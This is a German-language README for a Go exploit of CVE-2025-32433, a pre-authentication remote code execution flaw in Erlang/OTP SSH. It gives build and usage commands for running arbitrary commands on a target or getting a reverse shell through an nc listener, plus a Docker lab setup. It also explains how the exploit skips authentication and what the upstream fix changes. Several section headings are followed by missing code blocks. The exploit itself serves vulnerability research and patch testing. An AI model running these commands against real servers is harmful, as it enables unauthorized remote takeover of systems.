
Go-basierter Exploit für CVE-2025-32433
Go-basierter Exploit für CVE-2025-32433, der eine Remote-Bash-Shell zurückgibt.
Stark inspiriert vom Verständnis des Exploits aus ProDefense's PoC für CVE-2025-32433.
make
exploit.exewird für Windows-Rechner ebenfalls durch das Cross-Compilation-Makefile bereitgestellt.
Führen Sie dann die Exploit-Binärdatei auf eine von 2 Arten aus:
Befehl
./exploit <target-ip> <target-port> "<command>"
HINWEIS: Die Ausgabe des Befehls wird nicht zurückgegeben.
Reverse Shell
nc -lnvp <attacker-port>
./exploit <target-ip> <target-port> <attacker-ip> <attacker-port>
Mithilfe des ProDefense-Dockerfiles können Sie eine Umgebung wie folgt einrichten:
docker build -t "cve-2025-32433:Dockerfile" .
docker run -p 2222:2222 cve-2025-32433:Dockerfile
Sie können den Exploit dann wie im Abschnitt Ausführen des Exploits ausführen, z. B.:
nc -lnvp 4444
./exploit 127.0.0.1 2222 172.17.0.1 4444
172.17.0.1ist die Standard-IP für den Docker-Host
TL;DR „Das Problem wird durch einen Fehler in der SSH-Protokollnachrichtenverarbeitung verursacht, der es einem Angreifer ermöglicht, Verbindungsprotokollnachrichten vor der Authentifizierung zu senden,“
Typischer SSH-Ablauf:
SSH_MSG_KEXINIT
→ SSH_MSG_KEXDH_INIT / KEX_ECDH_INIT (key exchange)
→ SSH_MSG_NEWKEYS
→ SSH_MSG_SERVICE_REQUEST ("ssh-userauth")
→ SSH_MSG_USERAUTH_REQUEST
→ SSH_MSG_USERAUTH_SUCCESS
→ SSH_MSG_CHANNEL_OPEN
→ SSH_MSG_CHANNEL_REQUEST
Exploit-Ablauf:
SSH_MSG_KEXINITSSH_MSG_CHANNEL_OPEN (Pre-Auth)SSH_MSG_CHANNEL_REQUEST (Pre-Auth) --> enthält BefehlsnutzlastBeachten Sie, dass der gesamte USERAUTH-Teil im Exploit übersprungen wird.
Relevante RFCs für SSH-Nachrichten:
RFC 4253: The Secure Shell (SSH) Transport Layer ProtocolRFC 4254: The Secure Shell (SSH) Connection Protocol

SSH_MSG_KEXINIT

SSH_MSG_CHANNEL_OPEN

SSH_MSG_CHANNEL_REQUEST

String-Format (aus RFC 4251: The Secure Shell (SSH) Protocol Architecture)

Padding

Das Folgende ist der Fix, der in den Erlang OTP Libraries im ssh: early RCE fix commit eingeführt wurde:

Der Fix führt eine neue handle_msg-Klausel ein, die anhand ihrer Argumente Folgendes abfängt:
Msg: Allzweck-Variable für alle eingehenden SSH-Nachrichten, die nicht bereits von früheren Klauseln abgedeckt werden (wie #ssh_msg_disconnect{})#ssh{authenticated = false}: Sitzungszustand, der zutrifft, wenn die Verbindung noch nicht authentifiziert wurde.Die Klausel fängt keine Sitzungen mit authenticated = true ab, welches der Sitzung zugewiesen wird, wenn der Server ein #ssh_msg_userauth_success{} empfängt:

Sie wird nach dem Erfolg einer der folgenden Authentifizierungsmethoden gesendet:
